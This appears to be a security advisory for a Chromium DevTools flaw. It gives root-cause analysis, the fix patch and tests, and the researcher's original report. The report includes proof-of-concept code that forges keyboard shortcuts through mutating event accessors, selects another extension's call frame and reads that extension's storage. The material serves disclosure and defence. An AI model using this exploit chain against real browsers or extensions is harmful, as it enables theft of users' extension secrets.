CVE-2026-95344
Overview
Background
- `ExtensionServer`
- the DevTools-frontend broker (
front_end/panels/common/ExtensionServer.ts) that receives commands from installed DevTools extensions over the extension messaging bridge. - `forwardKeyboardEvent`
- a handler in
ExtensionAPI.tsthat captureskeydownevents and forwards whitelisted global hotkeys to the host so DevTools shortcuts work while an extension iframe has focus (a workaround forcrbug.com/923338). - `keyboardEventRequestQueue`
- a module-level array that batches captured key events; it is drained asynchronously by
forwardEventQueuevia asetTimeout(..., 0)timer. - `Commands.ForwardKeyboardEvent`
- the extension command whose
entriespayload carries the forwarded key events across the trust boundary intoExtensionServer.
Root Cause Analysis
The pre-patch forwardKeyboardEvent read the live, mutable KeyboardEvent object throughout its focus check and modifier/keysToForwardSet gate, then constructed an ad-hoc payload object typed loosely as KeyboardEventInit&{eventType: string} and pushed it onto keyboardEventRequestQueue, which was only flushed later on a setTimeout timer. Because validation and enqueue operated on the untrusted live event and a shared mutable queue rather than an immutable snapshot, the decision to forward and the values actually forwarded were not guaranteed to be the same, and the loose type let unexpected KeyboardEventInit fields (including the removed non-standard keyIdentifier) ride across into ExtensionServer.
The fix builds a strict, Object.freezed requestPayload typed as PrivateAPI.ForwardKeyboardEventRequestEntry first, then performs every focus and modifier check against that frozen snapshot, so the validated data and the forwarded data are provably identical. The new ForwardKeyboardEventRequestEntry interface replaces the permissive intersection type with an explicit field whitelist, and ExtensionServer is updated to validate incoming keyboard-shortcut entries against that shape (per the commit title). Together these ensure a forwarded key event cannot be mutated or over-populated between the check and the dispatch.
requestPayload before any validation and has ExtensionServer re-validate the entry, closing the race.Attack Path
- Load an interacting extension
A DevTools extension registers a panel/iframe and can dispatch
Commands.ForwardKeyboardEvententries into the frontend, which trusts the entry shape. - Trigger the deferred forward path
Keyboard input in the extension context enters
forwardKeyboardEvent, which validates against the liveKeyboardEventand defers dispatch by pushing ontokeyboardEventRequestQueueand schedulingforwardEventQueueviasetTimeout(0). - Win the check/use gap
Between the modifier/focus validation and the asynchronous drain, the mutable event or loosely-typed payload can differ from what was validated, so a key event that should have been dropped (or extra
KeyboardEventInitfields) is forwarded toExtensionServer. (inferred) - Dispatch an unvalidated shortcut
ExtensionServeracts on the forwarded entry as a genuine DevTools hotkey, since it previously did not independently validate the entry shape. (inferred)
Impact Assessment
Race condition in DevTools; the advisory states no exploited-in-the-wild status, and any escalation from spurious shortcut dispatch to a broader privileged action is (inferred), not demonstrated by the patch.Changed Functions
| Function | Change | Notes |
|---|---|---|
iffront_end/models/extensions/ExtensionAPI.ts |
modified | |
getfront_end/panels/common/ExtensionServer.test.ts |
modified |
Files Changed
front_end/models/extensions/ExtensionAPI.tsfront_end/panels/common/ExtensionServer.test.tsfront_end/panels/common/ExtensionServer.ts
Audit Directions
- Live-object TOCTOU across async queuesAudit any handler that validates a mutable DOM/event object and then defers action via
setTimeout/microtask/queue; require an immutable (Object.freezed) snapshot taken before validation. - Loose cross-boundary payload typesFlag extension/message payloads typed as intersections with
KeyboardEventInitor other broad DOM init dictionaries; replace with explicit field-whitelist interfaces and validate on the receiving (ExtensionServer) side. - Trust-boundary re-validationEnsure the DevTools host re-validates every
Commands.*entry rather than trusting checks performed in the extension/ExtensionAPIcontext, since the sending side is attacker-influenceable.
Patch
From 4f438153a3d245c1440addd3ddec2763b00bdb4b Mon Sep 17 00:00:00 2001
From: Alex Rudenko <alexrudenko@chromium.org>
Date: Wed, 19 Aug 2026 12:33:39 +0200
Subject: [PATCH] Validate keyboard shortcuts in ExtensionServer
Fixed: 548611433
Change-Id: I9ec9d54b62cc988ecefe032065b9a8c675bb645f
Reviewed-on: https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/8250963
Reviewed-by: Philip Pfaffe <pfaffe@chromium.org>
Commit-Queue: Philip Pfaffe <pfaffe@chromium.org>
Auto-Submit: Alex Rudenko <alexrudenko@chromium.org>
Commit-Queue: Alex Rudenko <alexrudenko@chromium.org>
---
diff --git a/front_end/models/extensions/ExtensionAPI.ts b/front_end/models/extensions/ExtensionAPI.ts
index bc7cf00..c3e900b 100644
--- a/front_end/models/extensions/ExtensionAPI.ts
+++ b/front_end/models/extensions/ExtensionAPI.ts
@@ -247,9 +247,20 @@
scriptUrl: string;
ranges: PublicAPI.Chrome.DevTools.NamedFunctionRange[];
}
+ export interface ForwardKeyboardEventRequestEntry {
+ eventType: string;
+ ctrlKey: boolean;
+ altKey: boolean;
+ metaKey: boolean;
+ shiftKey: boolean;
+ key: string;
+ code: string;
+ keyCode: number;
+ location: number;
+ }
interface ForwardKeyboardEventRequest {
command: Commands.ForwardKeyboardEvent;
- entries: Array<KeyboardEventInit&{eventType: string}>;
+ entries: ForwardKeyboardEventRequestEntry[];
}
interface GetHARRequest {
command: Commands.GetHAR;
@@ -1553,52 +1564,52 @@
return inspectedTabId;
}
- let keyboardEventRequestQueue: KeyboardEventInit&Array<{eventType: string}> = [];
+ let keyboardEventRequestQueue: PrivateAPI.ForwardKeyboardEventRequestEntry[] = [];
let forwardTimer: ReturnType<typeof setTimeout>|undefined;
function forwardKeyboardEvent(event: KeyboardEvent): void {
- // Check if the event should be forwarded.
- // This is a workaround for crbug.com/923338.
- const focused = document.activeElement;
- if (focused) {
- const isInput =
- focused.nodeName === 'INPUT' || focused.nodeName === 'TEXTAREA' || (focused as HTMLElement).isContentEditable;
- if (isInput && !(event.ctrlKey || event.altKey || event.metaKey)) {
- return;
- }
- }
-
- let modifiers = 0;
- if (event.shiftKey) {
- modifiers |= 1;
- }
- if (event.ctrlKey) {
- modifiers |= 2;
- }
- if (event.altKey) {
- modifiers |= 4;
- }
- if (event.metaKey) {
- modifiers |= 8;
- }
- const num = (event.keyCode & 255) | (modifiers << 8);
- // We only care about global hotkeys, not about random text
- if (!keysToForwardSet.has(num)) {
- return;
- }
- event.preventDefault();
- const requestPayload = {
+ const requestPayload: Readonly<PrivateAPI.ForwardKeyboardEventRequestEntry> = Object.freeze({
eventType: event.type,
ctrlKey: event.ctrlKey,
altKey: event.altKey,
metaKey: event.metaKey,
shiftKey: event.shiftKey,
- // @ts-expect-error keyIdentifier is a deprecated non-standard property that typescript doesn't know about.
- keyIdentifier: event.keyIdentifier,
key: event.key,
code: event.code,
- location: event.location,
keyCode: event.keyCode,
- };
+ location: event.location,
+ });
+
+ // Check if the event should be forwarded.
+ // This is a workaround for crbug.com/923338.
+ const targetDocument = targetWindowForTest?.document ?? document;
+ const focused = targetDocument.activeElement;
+ if (focused) {
+ const isInput =
+ focused.nodeName === 'INPUT' || focused.nodeName === 'TEXTAREA' || (focused as HTMLElement).isContentEditable;
+ if (isInput && !(requestPayload.ctrlKey || requestPayload.altKey || requestPayload.metaKey)) {
+ return;
+ }
+ }
+
+ let modifiers = 0;
+ if (requestPayload.shiftKey) {
+ modifiers |= 1;
+ }
+ if (requestPayload.ctrlKey) {
+ modifiers |= 2;
+ }
+ if (requestPayload.altKey) {
+ modifiers |= 4;
+ }
+ if (requestPayload.metaKey) {
+ modifiers |= 8;
+ }
+ const num = (requestPayload.keyCode & 255) | (modifiers << 8);
+ // We only care about global hotkeys, not about random text
+ if (!keysToForwardSet.has(num)) {
+ return;
+ }
+ event.preventDefault();
keyboardEventRequestQueue.push(requestPayload);
if (!forwardTimer) {
forwardTimer = globalThis.setTimeout(forwardEventQueue, 0);
@@ -1612,7 +1623,7 @@
keyboardEventRequestQueue = [];
}
- document.addEventListener('keydown', forwardKeyboardEvent, false);
+ (targetWindowForTest?.document ?? document).addEventListener('keydown', forwardKeyboardEvent, false);
function ExtensionServerClient(this: APIImpl.ExtensionServerClient, targetWindow: Window): void {
this._callbacks = {};
diff --git a/front_end/panels/common/ExtensionServer.test.ts b/front_end/panels/common/ExtensionServer.test.ts
index f29b4b6..8acfd48 100644
--- a/front_end/panels/common/ExtensionServer.test.ts
+++ b/front_end/panels/common/ExtensionServer.test.ts
@@ -2243,4 +2243,408 @@
});
});
});
+
+ describe('forwardKeyboardEvent', () => {
+ interface ForwardedKeyboardEvent extends KeyboardEvent {
+ // eslint-disable-next-line @typescript-eslint/naming-convention
+ __keyCode?: number;
+ }
+
+ interface WindowWithOptionalChrome {
+ chrome?: Partial<Chrome.DevTools.Chrome>;
+ }
+
+ interface TestExtensionServerClient {
+ sendRequest: sinon.SinonStub;
+ }
+
+ it('dispatches allowed global shortcut keys', () => {
+ const server = PanelCommon.ExtensionServer.ExtensionServer.instance();
+ const shortcutKey = UI.KeyboardShortcut.KeyboardShortcut.makeKey('P', UI.KeyboardShortcut.Modifiers.Ctrl.value);
+ sinon.stub(UI.ShortcutRegistry.ShortcutRegistry.instance(), 'globalShortcutKeys').returns([shortcutKey]);
+
+ const dispatchedEvents: KeyboardEvent[] = [];
+ const listener = (event: Event) => dispatchedEvents.push(event as KeyboardEvent);
+ document.addEventListener('keydown', listener);
+
+ try {
+ const result = server.onForwardKeyboardEventForTest({
+ command: Extensions.ExtensionAPI.PrivateAPI.Commands.ForwardKeyboardEvent,
+ entries: [{
+ eventType: 'keydown',
+ ctrlKey: true,
+ altKey: false,
+ metaKey: false,
+ shiftKey: false,
+ key: 'p',
+ code: 'KeyP',
+ keyCode: 80,
+ location: 0,
+ }],
+ });
+
+ assert.isUndefined(result);
+ assert.lengthOf(dispatchedEvents, 1);
+ const [event] = dispatchedEvents;
+ assert.strictEqual(event.type, 'keydown');
+ assert.isTrue(event.ctrlKey);
+ assert.isFalse(event.altKey);
+ assert.strictEqual(event.key, 'p');
+ assert.strictEqual(event.code, 'KeyP');
+ assert.strictEqual((event as ForwardedKeyboardEvent).__keyCode, 80);
+ } finally {
+ document.removeEventListener('keydown', listener);
+ }
+ });
+
+ it('handles synthetic Escape key code', () => {
+ const server = PanelCommon.ExtensionServer.ExtensionServer.instance();
+ const escapeKey = UI.KeyboardShortcut.KeyboardShortcut.makeKey(27, UI.KeyboardShortcut.Modifiers.None.value);
+ sinon.stub(UI.ShortcutRegistry.ShortcutRegistry.instance(), 'globalShortcutKeys').returns([escapeKey]);
+
+ const dispatchedEvents: KeyboardEvent[] = [];
+ const listener = (event: Event) => dispatchedEvents.push(event as KeyboardEvent);
+ document.addEventListener('keydown', listener);
+
+ try {
+ const result = server.onForwardKeyboardEventForTest({
+ command: Extensions.ExtensionAPI.PrivateAPI.Commands.ForwardKeyboardEvent,
+ entries: [{
+ eventType: 'keydown',
+ ctrlKey: false,
+ altKey: false,
+ metaKey: false,
+ shiftKey: false,
+ key: Platform.KeyboardUtilities.ESCAPE_KEY,
+ code: 'Escape',
+ keyCode: 0,
+ location: 0,
+ }],
+ });
+
+ assert.isUndefined(result);
+ assert.lengthOf(dispatchedEvents, 1);
+ const [event] = dispatchedEvents;
+ assert.strictEqual((event as ForwardedKeyboardEvent).__keyCode, 27);
+ } finally {
+ document.removeEventListener('keydown', listener);
+ }
+ });
+
+ it('rejects keys that are not allowed global shortcuts', () => {
+ const server = PanelCommon.ExtensionServer.ExtensionServer.instance();
+ sinon.stub(UI.ShortcutRegistry.ShortcutRegistry.instance(), 'globalShortcutKeys').returns([]);
+
+ const dispatchedEvents: KeyboardEvent[] = [];
+ const listener = (event: Event) => dispatchedEvents.push(event as KeyboardEvent);
+ document.addEventListener('keydown', listener);
+
+ try {
+ const result = server.onForwardKeyboardEventForTest({
+ command: Extensions.ExtensionAPI.PrivateAPI.Commands.ForwardKeyboardEvent,
+ entries: [{
+ eventType: 'keydown',
+ ctrlKey: false,
+ altKey: false,
+ metaKey: false,
+ shiftKey: false,
+ key: 'a',
+ code: 'KeyA',
+ keyCode: 65,
+ location: 0,
+ }],
+ });
+
+ assertIsStatus(result);
+ assert.strictEqual(result.code, 'E_BADARG');
+ assert.lengthOf(dispatchedEvents, 0);
+ } finally {
+ document.removeEventListener('keydown', listener);
+ }
+ });
+
+ it('rejects malformed entries without dispatching events', () => {
+ const server = PanelCommon.ExtensionServer.ExtensionServer.instance();
+ const shortcutKey = UI.KeyboardShortcut.KeyboardShortcut.makeKey('P', UI.KeyboardShortcut.Modifiers.Ctrl.value);
+ sinon.stub(UI.ShortcutRegistry.ShortcutRegistry.instance(), 'globalShortcutKeys').returns([shortcutKey]);
+
+ const dispatchedEvents: KeyboardEvent[] = [];
+ const listener = (event: Event) => dispatchedEvents.push(event as KeyboardEvent);
+ document.addEventListener('keydown', listener);
+
+ try {
+ // Non-array entries
+ const result1 = server.onForwardKeyboardEventForTest({
+ command: Extensions.ExtensionAPI.PrivateAPI.Commands.ForwardKeyboardEvent,
+ entries: 'not an array' as unknown as Extensions.ExtensionAPI.PrivateAPI.ForwardKeyboardEventRequestEntry[],
+ });
+ assertIsStatus(result1);
+ assert.strictEqual(result1.code, 'E_BADARG');
+
+ // Invalid eventType
+ const result2 = server.onForwardKeyboardEventForTest({
+ command: Extensions.ExtensionAPI.PrivateAPI.Commands.ForwardKeyboardEvent,
+ entries: [{
+ eventType: 'keyup',
+ ctrlKey: true,
+ altKey: false,
+ metaKey: false,
+ shiftKey: false,
+ key: 'p',
+ code: 'KeyP',
+ keyCode: 80,
+ location: 0,
+ }],
+ });
+ assertIsStatus(result2);
+ assert.strictEqual(result2.code, 'E_BADARG');
+
+ // Invalid property type (keyCode as string)
+ const result3 = server.onForwardKeyboardEventForTest({
+ command: Extensions.ExtensionAPI.PrivateAPI.Commands.ForwardKeyboardEvent,
+ entries: [{
+ eventType: 'keydown',
+ ctrlKey: true,
+ altKey: false,
+ metaKey: false,
+ shiftKey: false,
+ key: 'p',
+ code: 'KeyP',
+ keyCode: '80' as unknown as number,
+ location: 0,
+ }],
+ });
+ assertIsStatus(result3);
+ assert.strictEqual(result3.code, 'E_BADARGTYPE');
+
+ // Array with one valid and one invalid entry should dispatch nothing
+ const result4 = server.onForwardKeyboardEventForTest({
+ command: Extensions.ExtensionAPI.PrivateAPI.Commands.ForwardKeyboardEvent,
+ entries: [
+ {
+ eventType: 'keydown',
+ ctrlKey: true,
+ altKey: false,
+ metaKey: false,
+ shiftKey: false,
+ key: 'p',
+ code: 'KeyP',
+ keyCode: 80,
+ location: 0,
+ },
+ {
+ eventType: 'keydown',
+ ctrlKey: false,
+ altKey: false,
+ metaKey: false,
+ shiftKey: false,
+ key: 'q',
+ code: 'KeyQ',
+ keyCode: 81,
+ location: 0,
+ },
+ ],
+ });
+ assertIsStatus(result4);
+ assert.strictEqual(result4.code, 'E_BADARG');
+ assert.lengthOf(dispatchedEvents, 0);
+ } finally {
+ document.removeEventListener('keydown', listener);
+ }
+ });
+
+ it('extension client reads event properties once and forwards allowed shortcuts', async () => {
+ let sendRequestStub: sinon.SinonStub|undefined;
+ const shortcutKey = UI.KeyboardShortcut.KeyboardShortcut.makeKey('P', UI.KeyboardShortcut.Modifiers.Ctrl.value);
+
+ const fakeDocument = document.createElement('div');
+ const fakeWindow = {
+ postMessage: sinon.stub(),
+ addEventListener: sinon.stub(),
+ removeEventListener: sinon.stub(),
+ document: fakeDocument,
+ } as unknown as Window;
+
+ const windowWithChrome = window as unknown as WindowWithOptionalChrome;
+ const originalChrome = windowWithChrome.chrome;
+ delete windowWithChrome.chrome;
+
+ try {
+ self.injectedExtensionAPI(context.extensionDescriptor, 'main', 'dark',
+ [shortcutKey], (extensionServer: unknown) => {
+ const client = extensionServer as TestExtensionServerClient;
+ sendRequestStub = sinon.stub(client, 'sendRequest');
+ }, 1, fakeWindow);
+
+ assert.exists(sendRequestStub);
+
+ let keyReadCount = 0;
+ let ctrlKeyReadCount = 0;
+ let keyCodeReadCount = 0;
+
+ const keydownEvent = new KeyboardEvent('keydown', {
+ ctrlKey: true,
+ key: 'p',
+ code: 'KeyP',
+ keyCode: 80,
+ });
+
+ Object.defineProperty(keydownEvent, 'ctrlKey', {
+ get() {
+ ctrlKeyReadCount++;
+ return true;
+ },
+ });
+ Object.defineProperty(keydownEvent, 'key', {
+ get() {
+ keyReadCount++;
... (file diff truncated)
Original Bug Report
Extensions isolation bypass due to a TOCTOU in DevTools shortcut forwarding and missing selected-call-frame authorization
Report description
Extensions isolation bypass due to a TOCTOU in DevTools shortcut forwarding and missing selected-call-frame authorization
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
The problem
Please describe the technical details of the vulnerability
Summary
A malicious DevTools extension can bypass the forwarded-key allowlist through a TOCTOU in forwardKeyboardEvent() and execute JavaScript in another extension’s content-script isolated world.
When a victim content-script synchronously enters page JavaScript and execution pauses, the victim’s frame remains on the call stack. The attacker can forge Ctrl+., DevTools’ shortcut for selecting the next call frame, to select that victim frame and then call chrome.devtools.inspectedWindow.eval().
Internally, inspectedWindow.eval() reaches ExecutionContext.evaluate(). While paused, this function evaluates in the selected call frame through Debugger.evaluateOnCallFrame instead of the authorized page context, without revalidating the frame’s context or extension owner. The attacker’s expression therefore runs with the victim extension’s content-script context.
Details
1. Forwarded-key allowlist TOCTOU
forwardKeyboardEvent() is an internal keyboard-forwarding handler injected into DevTools extension pages. It determines whether a keyboard event is allowlisted by reading properties from a KeyboardEvent.
//third_party/devtools-frontend/src/front_end/models/extensions/ExtensionAPI.ts:
function forwardKeyboardEvent(event: KeyboardEvent): void {
. . .
let modifiers = 0;
if (event.shiftKey) {
modifiers |= 1;
}
if (event.ctrlKey) {
modifiers |= 2;
}
if (event.altKey) {
modifiers |= 4;
}
if (event.metaKey) {
modifiers |= 8;
}
const num = (event.keyCode & 255) | (modifiers << 8);
// We only care about global hotkeys, not about random text
if (!keysToForwardSet.has(num)) {
return;
}
After the event passes this check, the function reads the same properties again to construct the message sent to the DevTools frontend:
function forwardKeyboardEvent(event: KeyboardEvent): void {
. . .
const requestPayload = {
eventType: event.type,
ctrlKey: event.ctrlKey,
altKey: event.altKey,
metaKey: event.metaKey,
shiftKey: event.shiftKey,
// @ts-expect-error keyIdentifier is a deprecated non-standard property that typescript doesn't know about.
keyIdentifier: event.keyIdentifier,
key: event.key,
code: event.code,
location: event.location,
keyCode: event.keyCode,
};
These property accesses are observable JavaScript operations. The PoC defines accessors on a synthetic KeyboardEvent that return different values on successive reads.
attacker/devtools.js:
Object.defineProperty(event, 'keyCode', {
get: () => ++keyCodeReads === 1 ? 80 : keyCode,
});
Object.defineProperty(event, 'which', { get: () => keyCode });
Object.defineProperty(event, 'ctrlKey', {
get: () => ++ctrlKeyReads === 1 ? true : ctrlKey,
});
Object.defineProperty(event, 'shiftKey', {
get: () => ++shiftKeyReads === 1 ? true : shiftKey,
});
During validation, the event appears to be the allowlisted Ctrl+Shift+P shortcut (keyCode 80). During payload construction, however, the accessors return values for an attacker-selected shortcut.
The receiving ExtensionServer constructs a new KeyboardEvent, stores the supplied key code in __keyCode, and dispatches the event on the DevTools frontend document. It neither repeats the allowlist check nor verifies that the serialized values match those that were previously authorized.
The PoC exploits this discrepancy to forge:
Ctrl+.for selecting the next debugger call frameF8sent exactly once to resume the paused target after the payload has been scheduled in the victim’s context
The apparent Ctrl+Shift+P event is used only to pass the allowlist check. The Command Menu is never opened because the DevTools frontend receives the later, attacker-selected shortcut values.
2. Synchronous cross-world reentry keeps the victim frame live
The attacker evaluates JavaScript in the inspected page that creates a hidden button with a page-world click listener containing a debugger statement.
attacker/devtools.js:
function evaluate(expr) {
return new Promise(resolve => {
chrome.devtools.inspectedWindow.eval(
expr, (result, exceptionInfo) => {
resolve(exceptionInfo?.isException ? undefined : result);
});
});
}
. . .
function triggerVictim(hookSourceURL) {
. . .
return evaluate(`(() => {
. . .
button.addEventListener('click', () => {
clearTimeout(cleanup);
button.remove();
debugger;
}, {once: true});
button.setAttribute('data-victim-autofill', '');
document.documentElement.appendChild(button);
})()\n//# sourceURL=${hookSourceURL}`);
}
The victim content script’s MutationObserver, running in the victim extension’s isolated world, detects the marked element and calls node.click().
victim/content.js:
if (node instanceof Element && node.matches('[data-victim-autofill]')) {
observer.disconnect();
document.documentElement.removeAttribute('data-victim-ready');
node.click();
return;
}
node.click() dispatches the click event synchronously. Blink enters the page’s main world to invoke the click listener before node.click() returns to the victim content script. Execution pauses at debugger while the victim’s MutationObserver callback is therefore still active, leaving a live call stack similar to the following(You can see this DevTools Call Stack pane of Sources panel):
button.addEventListener.once synchronous-click-hook.js:11
└─page main world: click listener containing `debugger`
>>> (anonymous) content.js:13
└─victim extensions's isolated world: MutationObserver callback calling node.click()
The MutationObserver and click() chain is just one deterministic way to produce the required stack shape. Numerous synchronous reentry patterns can create the same condition, making the technique broadly applicable to extensions distributed through stores. PoC 2 demonstrates this against MetaMask.
3. The attacker selects the victim call frame
Execution initially pauses in the page-world click listener. The attacker calls chrome.devtools.inspectedWindow.eval() with a capability probe that checks whether chrome.storage.local is available. Evaluation in the page-world frame returns no-storage-api.
The attacker then uses the TOCTOU to forge Ctrl+., the DevTools shortcut associated with debugger.next-call-frame, and selects the next live frame in the paused call stack. After each frame change, the attacker repeats the capability probe. When the selected frame reaches the victim content-script callback, chrome.storage.local becomes available through the victim extension’s isolated-world bindings.
4. inspectedWindow.eval() evaluates in an unauthorized call frame
ExtensionServer.evaluate() resolves the requested inspected frame, selects its default execution context, and checks the extension against the frame URL and that context’s origin. It then calls context.evaluate().
//third_party/devtools-frontend/src/front_end/panels/common/ExtensionServer.ts:
export class ExtensionServer extends Common.ObjectWrapper.ObjectWrapper<EventTypes> {
evaluate(. . .) {
. . .
void context
.evaluate(
{
expression,
objectGroup: 'extension',
includeCommandLineAPI: exposeCommandLineAPI,
silent: true,
returnByValue,
generatePreview: false,
},
/* userGesture */ false, /* awaitPromise */ false)
.then(onEvaluate);
However, ExecutionContext.evaluate() redirects evaluation to the currently selected call frame whenever the debugger is paused.
//third_party/devtools-frontend/src/front_end/core/sdk/RuntimeModel.ts:
export class ExecutionContext {
. . .
async evaluate(options: EvaluationOptions, userGesture: boolean, awaitPromise: boolean): Promise<EvaluationResult> {
// FIXME: It will be moved to separate ExecutionContext.
if (this.debuggerModel.selectedCallFrame()) {
return await this.debuggerModel.evaluateOnSelectedCallFrame(options);
}
return await this.evaluateGlobal(options, userGesture, awaitPromise);
}
The selected frame is ultimately evaluated through Debugger.evaluateOnCallFrame, an actual Chrome DevTools Protocol command, using its callFrameId.
await this.debuggerModel.agent.invoke_evaluateOnCallFrame({
callFrameId: this.id,
expression: options.expression,
// ...
});
No check verifies that this call frame belongs to the previously authorized execution context or extension. Once the forged shortcut selects the victim frame, the attacker’s expression therefore executes with the victim extension’s isolated-world bindings.
5. Cross-extension API access and proof
After selecting the victim frame, the attacker evaluates an expression that uses the victim extension’s chrome.storage.local binding.
attacker/devtools.js:
function renderStorageFromSelectedFrame() {
return evaluate(`(() => {
if (!globalThis.chrome?.storage?.local) {
return 'no-storage-api';
}
chrome.storage.local.get('crossExtensionSecret').then(stored => {
const leaked = stored.crossExtensionSecret;
if (typeof leaked !== 'string') {
return;
}
let output = document.getElementById('${leakOutputId}');
if (!output) {
output = document.createElement('h1');
output.id = '${leakOutputId}';
(document.body || document.documentElement).appendChild(output);
}
output.textContent = 'STORAGE LEAKED: ' + leaked;
});
return 'scheduled';
})()`);
}
Because the expression runs in the victim’s isolated world, chrome.storage refers to the victim extension’s storage rather than the attacker’s storage. The attacker then forges F8 exactly once to resume execution, allowing the promise callback to render the leaked value in the shared DOM.
6. Remediation
Two independent checks should be hardened:
- The keyboard-forwarding path should read each event property exactly once and validate the same immutable snapshot that is serialized. The frontend should independently validate the final key, code, key code, and modifier combination.
- DevTools extension evaluation should use the exact execution context authorized by
ExtensionServer. If selected-call-frame evaluation is intended, the selected frame’s execution-context ID, origin, frame, and extension owner must be resolved and authorized before invokingDebugger.evaluateOnCallFrame.
Version
Chromium: Official Build, 151.0.7922.138
MetaMask: 13.44.0
OS: Windows 11 Version 25H2 (Build 26200.9168)
Reproduction
Before reproducing, remove attachment prefixes such as attacker- and victim- from the filenames, then arrange the files according to the directory structure:
.
├─attacker
│ devtools.html
│ devtools.js
│ manifest.json
│
└─victim
content.js
manifest.json
service-worker.js
- Load attacker and victim extension
- Go to https://example.com
- Open DevTools
- The victim’s storage is printed to the DOM by attacker’s extension
The poc.mov video is also attached.
Impact analysis
Exploitation requires the user to install a malicious extension with a devtools_page and open DevTools on a page where the victim extension is active. No debugger or management permissions are required, and declaring a devtools_page does not trigger an installation warning.
Pausing execution may briefly switch DevTools to the Sources panel, but this can go unnoticed if the attacker immediately switches back to the Elements panel.
I was also able to reproduce this issue against a popular extension available on the Chrome Web Store.
The cause
What version of Chrome have you found the security issue in?
Official Build, 151.0.7922.138
Is the security issue related to a crash?
No, it is not related to a crash.
Choose the type of vulnerability
Site Isolation Bypass
How would you like to be publicly acknowledged for your report?
@bean5oup